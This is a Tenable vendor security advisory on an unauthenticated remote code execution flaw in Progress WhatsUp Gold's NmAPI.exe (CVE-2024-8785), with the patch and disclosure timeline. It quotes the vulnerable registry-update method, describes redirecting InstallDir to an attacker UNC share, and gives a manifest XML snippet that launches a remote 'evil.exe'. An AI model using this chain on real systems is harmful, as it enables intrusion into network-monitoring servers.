Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Progress WhatsUp Gold NmAPI.exe Registry Overwrite Unauthenticated RCE

Critical

Synopsis

A registry overwrite remote code execution vulnerability exists in NmAPI.exe in WhatsUp Gold versions prior to 24.0.1. An unauthenticated remote attacker could leverage this vulnerability to achieve remote code execution on the affected system.

NmAPI.exe is a Windows Communication Foundation (WCF) application. It implements an UpdateFailoverRegistryValues operation contract:

// NmAPI.CoreServices
public void UpdateFailoverRegistryValues(EntityRegistryValue[] values)
{
    try
    {
        foreach (EntityRegistryValue entityRegistryValue in values.Where((EntityRegistryValue c) => c.HiveName.StartsWith("SOFTWARE\\Ipswitch")).ToList<EntityRegistryValue>())
        {
            global::WhatsUp.RegistryHive.SetRegistryValue(Registry.LocalMachine, new RegistryValue
            {
                Value = entityRegistryValue.Value,
                HiveName = entityRegistryValue.HiveName,
                Name = entityRegistryValue.Name
            });
        }
    }
    catch (Exception)
    {
        throw;
    }
}


An unauthenticated remote attacker can invoke the UpdateFailoverRegistryValues operation via a netTcpBinding at net.tcp://<target-host>:9643.

Through the UpdateFailoverRegistryValues operation, the attacker can change an existing registry value or create a new one for any registry path under HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Ipswitch\.

Specifically, the attacker can change HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Ipswitch\Network Monitor\WhatsUp Gold\Setup\InstallDir to a UNC path pointing to a host controlled by the attacker (i.e., \\<attacker-ip>\share\WhatsUp)

When the Ipswitch Service Control Manager service (ServiceControlManager.exe) restarts (i.e., due to system restart after a Windows update), various manifest files (i.e., WhatsUpPlatform-PluginManifest.xml) are read from the attacker-controlled host. These files specify processes to be started by ServiceControlManager.exe. The attacker can add a <ServerProcess> element in WhatsUpPlatform-PluginManifest.xml to start an attacker-controlled executable:

[...]
       <ServerProcess Id="28" Assemblyname="\\<attacker-ip>\share\evil.exe" Arguments="" EventName="XXXShutdownEvent" Description="XXX" ShutdownOrder="2">
               <NormalStartup StartupType="Automatic" StartupOrder="150" StartupDelay="2"/>
               <FailoverStartup StartupType="Manual" StartupOrder="150" StartupDelay="2"/>
       </ServerProcess>
[...]

Solution

Upgrade to version 24.0.1 or later.

Disclosure Timeline

August 14, 2024 - Tenable requests security contact via [email protected].
August 21, 2024 - Tenable requests security contact via [email protected].
August 22, 2024 - Progress states that our contact request has been passed to the team responsible.
August 27, 2024 - Tenable responds to Progress contact stating that we haven't heard from the team we were referred to yet.
September 4, 2024 - Tenable makes final contact attempt.
September 5, 2024 - Progress provides contact.
September 6, 2024 - Tenable discloses to Progress. Progress acknowledges.
September 17, 2024 - Progress requests retransmissions of PoC.
September 18, 2024 - Tenable resends PoC.
September 23, 2024 - Tenable sees bounceback of PoC. Resends PoC via private upload site.
October 2, 2024 - Tenable requests acknowledgment of receipt. Progress confirms receipt.
October 16, 2024 - Tenable requests status update.
November 4, 2024 - Tenable requests status update.
December 2, 2024 - Tenable requests status update and reminds Progress of disclosure deadline.
December 2, 2024 - Progess notifies Tenable of patch release and provides CVE identifier.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2024-8785
Tenable Advisory ID: TRA-2024-48
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products:
Progress WhatsUp Goldversions below 24.0.1
Risk Factor:
Critical

Advisory Timeline

December 2, 2024 - Initial release.